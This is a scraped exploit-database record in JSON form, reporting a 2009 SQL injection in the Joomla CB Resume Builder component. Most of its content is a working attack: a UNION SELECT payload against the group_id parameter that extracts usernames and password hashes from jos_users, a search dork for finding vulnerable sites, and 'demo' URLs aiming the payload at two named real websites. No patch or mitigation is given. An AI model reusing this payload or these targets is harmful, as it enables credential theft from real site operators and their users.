Description
Exploit for unknown platform in category web applications
{"id": "1337DAY-ID-9880", "type": "zdt", "bulletinFamily": "exploit", "title": "Joomla CB Resume Builder SQL Injection", "description": "Exploit for unknown platform in category web applications", "published": "2009-10-05T00:00:00", "modified": "2009-10-05T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://0day.today/exploit/description/9880", "reporter": "kaMtiEz", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2018-04-04T19:40:30", "viewCount": 18, "enchantments": {"score": {"value": 0.3, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.3}, "sourceHref": "https://0day.today/exploit/9880", "sourceData": "======================================\r\nJoomla CB Resume Builder SQL Injection\r\n======================================\r\n\r\n**************************************************************************/\r\n \r\n[ Software Information ]\r\n \r\n[+] Vendor : http://www.joomlacache.com/\r\n[+] Download : http://www.joomlacache.com/index.php?option=com_ambrasubs&controller=subscription&task=new&id=6\r\n[+] version : -\r\n[+] Vulnerability : SQL injection\r\n[+] Dork : inurl:\"com_soundset\"\r\n[+] Price : $49.95-- USD\r\n \r\n===========================================================================\r\n \r\n[ Vulnerable File ]\r\n \r\nhttp://127.0.0.1/index.php?option=com_cbresumebuilder&task=group_members&group_id=[INDONESIANCODER]\r\n \r\n[ Exploit ]\r\n \r\n-666+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+jos_users--\r\n \r\n[ Demo ]\r\n \r\nhttp://www.gruenderwelt.org/index.php?option=com_cbresumebuilder&task=group_members&group_id=-666+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+jos_users--\r\n \r\nhttp://made4joomla.com/test/index.php?option=com_cbresumebuilder&task=group_members&group_id=-666+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+jos_users--\r\n \r\n===========================================================================\r\n\r\n\r\n\n# 0day.today [2018-04-04] #", "_state": {"dependencies": 1645364050, "score": 1659766679, "epss": 1678811959}}
{}